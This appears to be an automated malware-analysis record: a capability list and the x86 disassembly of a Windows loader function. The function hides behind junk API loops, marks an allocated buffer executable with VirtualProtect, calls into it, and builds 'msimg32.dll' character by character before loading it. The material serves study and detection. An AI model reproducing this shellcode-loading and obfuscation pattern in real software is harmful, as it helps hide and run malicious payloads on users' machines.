Function at 0x814dd0
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Create mailslot
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get file attributes
Get geographical location
Get hostname
Manipulate console buffer
Move file
Query environment variable
Read .ini file
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x81684f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x2d98
call fcn.00419a50
push ebx
push ebp
push esi
xor ebx, ebx
mov dword [esp + 0x18], ebx
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
mov edi, dword [sym.imp.USER32.dll_CharUpperBuffA]
xor esi, esi
mov edi, edi
cmp esi, 0x1e2f9
jge 0x814e1e
push ebx
push ebx
call edi
call ebp
cmp esi, 0x1e9b2176
jle 0x814e3d
cmp dword [esp + 0x18], 0xc0963c
je 0x814e3d
cmp dword [esp + 0x18c], 0x90536f8
jne 0x814e46
inc esi
cmp esi, 0x98abe
jl 0x814e10
cmp dword [0x26618fc], 0xcf8
jne 0x81517b
push ebx
push ebx
push ebx
call fcn.0040a7a2
add esp, 0xc
push 0x40433c
push ebx
call fcn.0040a7a2
push ebx
push ebx
push ebx
push ebx
call fcn.0040a2d6
push ebx
push ebx
call fcn.00409a77
push ebx
call fcn.0040a19b
add esp, 0x24
push ebx
call fcn.0041d3ee
add esp, 4
mov dword [esp + 0x80], ebx
mov dword [esp + 0x84], ebx
mov dword [esp + 0x88], ebx
mov dword [esp + 0x2db4], ebx
xor eax, eax
mov dword [esp + 0x3c], 0xf
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x814ec0
sub eax, edx
mov esi, eax
cmp esi, 0xfffffffe
jbe 0x814eda
push 0x404794
call fcn.0040950e
cmp esi, 0xf
jbe 0x814eec
push ebx
push esi
lea ecx, [esp + 0x30]
call fcn.004087d0
jmp 0x814ef9
cmp esi, ebx
jne 0x814efb
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], 0
cmp esi, ebx
seta al
mov edi, 0x10
test al, al
je 0x814f36
mov eax, dword [esp + 0x28]
cmp dword [esp + 0x3c], edi
jae 0x814f15
lea eax, [esp + 0x28]
push esi
push ebx
push eax
call fcn.0040b4e0
mov eax, dword [esp + 0x34]
add esp, 0xc
mov dword [esp + 0x38], esi
cmp dword [esp + 0x3c], edi
jae 0x814f32
lea eax, [esp + 0x28]
mov byte [eax + esi], 0
cmp dword [esp + 0x3c], edi
jb 0x814f49
mov eax, dword [esp + 0x28]
push eax
call fcn.0040a86a
add esp, 4
mov dword [esp + 0xa0], 0x404858
mov dword [esp + 0xb0], 0x404860
mov byte [esp + 0x2db4], 2
push 4
mov dword [esp + 0x20], 1
mov dword [esp + 0x104], 0x4047fc
mov dword [esp + 0xac], ebx
mov dword [esp + 0xb0], ebx
mov dword [esp + 0x134], ebx
mov dword [esp + 0x10c], ebx
mov dword [esp + 0x114], ebx
mov dword [esp + 0x118], 0x201
mov dword [esp + 0x11c], 6
mov dword [esp + 0x120], ebx
mov dword [esp + 0x124], ebx
mov dword [esp + 0x128], ebx
mov dword [esp + 0x12c], ebx
mov dword [esp + 0x130], ebx
mov dword [esp + 0x110], ebx
call fcn.0040ad82
mov esi, eax
add esp, 4
cmp esi, ebx
je 0x81501c
call fcn.0040945d
mov dword [esi], eax
call fcn.0040921c
push ebx
lea ecx, [esp + 0x18]
mov edi, eax
call fcn.00409623
mov eax, dword [edi + 4]
cmp eax, 0xffffffff
jae 0x815011
inc eax
mov dword [edi + 4], eax
lea ecx, [esp + 0x14]
call fcn.0040964b
jmp 0x81501e
xor esi, esi
lea ecx, [esp + 0xb8]
lea edi, [esp + 0x24]
lea eax, [esp + 0x100]
mov dword [esp + 0x130], esi
mov dword [esp + 0x138], ecx
mov dword [esp + 0x13c], ebx
call fcn.00405a20
mov edi, eax
mov dword [esp + 0x2db4], 5
call fcn.00408930
mov byte [esp + 0x2db4], 4
mov edi, dword [esp + 0x24]
mov ebp, eax
cmp edi, ebx
je 0x8150aa
push ebx
lea ecx, [esp + 0x1c]
call fcn.00409623
mov eax, dword [edi + 4]
cmp eax, ebx
jbe 0x815088
cmp eax, 0xffffffff
jae 0x815088
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x18]
and esi, edi
call fcn.0040964b
cmp esi, ebx
je 0x8150aa
mov edx, dword [esi]
mov eax, dword [edx]
push 1
mov ecx, esi
call eax
mov edx, dword [ebp]
mov eax, dword [edx + 0x18]
push 0x20
mov ecx, ebp
call eax
mov byte [esp + 0x140], al
cmp dword [esp + 0x138], ebx
jne 0x8150f0
mov eax, dword [esp + 0x10c]
or eax, 4
and eax, 0x17
mov dword [esp + 0x10c], eax
test dword [esp + 0x110], eax
je 0x8150f0
push ebx
lea ecx, [esp + 0x104]
call fcn.00405940
mov ecx, dword [esp + 0xb0]
mov edx, dword [ecx + 4]
mov dword [esp + edx + 0xb0], 0x404804
mov eax, dword [esp + 0xa0]
mov ecx, dword [eax + 4]
mov dword [esp + ecx + 0xa0], 0x40480c
mov dword [esp + 0x2db4], 8
mov edx, dword [esp + 0xa0]
mov eax, dword [edx + 4]
lea ecx, [esp + 0xb8]
push ecx
mov dword [esp + eax + 0xa4], 0x404854
call fcn.00407560
mov dword [esp + 0xb8], 0x404814
mov dword [esp + 0xf4], ebx
mov dword [esp + 0xf8], ebx
lea edx, [esp + 0xb0]
push edx
mov byte [esp + 0x2db8], 0xa
call fcn.00405c00
push ebx
call fcn.0040a66c
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
mov ebp, dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
xor esi, esi
lea esp, [esp]
cmp esi, 0x408
jne 0x8151a3
mov eax, 0x5d1
add dword [0x26618fc], eax
cmp dword [0x26618fc], 3
jne 0x8151c2
push ebx
call edi
push ebx
push ebx
call ebp
push ebx
lea eax, [esp + 0x1ac]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
inc esi
cmp esi, 0x1518d4
jl 0x815190
mov ecx, dword [0x26618fc]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov dword [0x26618f4], eax
mov eax, dword [0x26618fc]
xor esi, esi
cmp eax, ebx
jbe 0x815246
mov ebp, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 0xfe
jne 0x815221
push ebx
call ebp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea ecx, [esp + 0x18]
push ecx
xor edx, edx
push edx
push ebx
lea eax, [esp + 0x1b4]
push eax
push ebx
mov dword [esp + 0x28], edx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
call fcn.00814b70
mov eax, dword [0x26618fc]
cmp eax, 0x29
jne 0x815241
call edi
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
mov eax, dword [0x26618fc]
inc esi
cmp esi, eax
jb 0x8151f5
cmp eax, 0x70
jne 0x8152dc
push ebx
lea ecx, [esp + 0x1ac]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push ebx
push 0x40446c
push 0x4044e0
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
call edi
call edi
push 0x4044a4
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push ebx
lea edx, [esp + 0x1c]
push edx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetTapeParameters]
push ebx
push ebx
lea eax, [esp + 0xdb0]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push ebx
lea ecx, [esp + 0x5ac]
push ecx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push 0x4045a0
push 0x404690
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov eax, dword [0x26618fc]
mov esi, dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ebp, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov dword [esp + 0x1c], 0x9682ab
lea esp, [esp]
cmp eax, 3
jne 0x815333
push 0
lea edx, [esp + 0x1c]
push edx
push 0
lea eax, [esp + 0x5b4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
lea ecx, [esp + 0x1a8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [0x26618fc]
cmp eax, 0xdf
jne 0x8155d4
push 0x40458c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
xor edx, edx
lea ecx, [esp + 0x24]
push ecx
push edx
push edx
lea eax, [esp + 0x15b4]
push eax
push edx
mov dword [esp + 0x28], edx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
xor eax, eax
lea ecx, [esp + 0x6c]
push ecx
lea edx, [esp + 0x184]
push edx
push eax
mov dword [esp + 0x78], eax
mov dword [esp + 0x7c], eax
mov dword [esp + 0x80], eax
mov dword [esp + 0x84], eax
mov dword [esp + 0x88], eax
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
push 0
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
push 0
push 0
push 0
call esi
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
lea eax, [esp + 0x90]
push eax
call edi
push 0
lea ecx, [esp + 0x98]
push ecx
call ebp
push 0
lea edx, [esp + 0x5c]
push edx
call ebx
push 0
push 0
push 0
push 0x4046c8
call dword [sym.imp.KERNEL32.dll_CreateMailslotW]
mov eax, dword [esp + 0x58]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
push 0
lea ecx, [esp + 0x1dac]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [esp + 0x9c]
push edx
push 0
lea eax, [esp + 0x30]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
push 0
lea ecx, [esp + 0x9c]
push ecx
call ebx
push 0
lea edx, [esp + 0x58]
push edx
call ebp
lea eax, [esp + 0x5c]
push eax
call edi
lea ecx, [esp + 0x4c]
push ecx
push 0
lea edx, [esp + 0x5b0]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
lea eax, [esp + 0x50]
push eax
push 0x4046fc
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
xor eax, eax
lea ecx, [esp + 0x60]
push ecx
mov dword [esp + 0x64], eax
mov dword [esp + 0x68], eax
call dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapWalk]
lea edx, [esp + 0x80]
push edx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
lea eax, [esp + 0x1ac]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
lea ecx, [esp + 0x9ac]
push ecx
push 0x40473c
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea edx, [esp + 0xdac]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x25ac]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x30
lea edx, [esp + 0x154]
push 0
push edx
mov dword [esp + 0x158], 0
call fcn.00414830
add esp, 0xc
push 0
lea eax, [esp + 0x150]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov eax, dword [0x26618fc]
dec dword [esp + 0x1c]
jne 0x815300
mov edi, dword [sym.imp.USER32.dll_CharUpperA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x9c3c674
nop
push 0
call edi
push 0
call ebx
dec esi
jne 0x8155f0
mov esi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov edi, 0x25887
jmp 0x815610
cmp dword [0x26618fc], 0x222
jne 0x815620
push 0
call esi
dec edi
jne 0x815610
mov edx, dword [0x26618fc]
mov eax, dword [0x26618f4]
lea ecx, [esp + 0x20]
push ecx
push 0x40
push edx
push eax
mov byte [0x82ea40], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00814d80
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
xor esi, esi
cmp dword [0x26618fc], 0xba
jne 0x81566a
lea ecx, [esp + 0x20]
push ecx
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x815677
call fcn.00814b50
inc esi
cmp esi, 0x1605a
jl 0x815651
mov edx, 0x73
mov eax, 0x6d
mov word [0x266198a], dx
mov word [0x266198e], ax
xor eax, eax
mov ecx, 0x33
mov edx, 0x67
mov word [0x2661992], cx
mov word [0x266199e], ax
mov word [0x2661990], dx
mov eax, 0x69
mov ecx, 0x6d
mov edx, 0x6c
push 0x2661988
mov dword [0x2661998], 0x6c0064
mov word [0x266198c], ax
mov word [0x2661988], cx
mov word [0x266199c], dx
mov dword [0x2661994], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x26618fc], 0xc30
jne 0x815784
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.KERNEL32.dll_GetACP]
push 0
lea edx, [esp + 0x24]
push edx
push 0
lea eax, [esp + 0xdb4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push 0
lea ecx, [esp + 0x9ac]
push ecx
lea edx, [esp + 0x58]
push edx
lea eax, [esp + 0x58]
push eax
lea ecx, [esp + 0x6c]
push ecx
lea edx, [esp + 0x68]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
call dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov ecx, dword [esp + 0x2dac]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret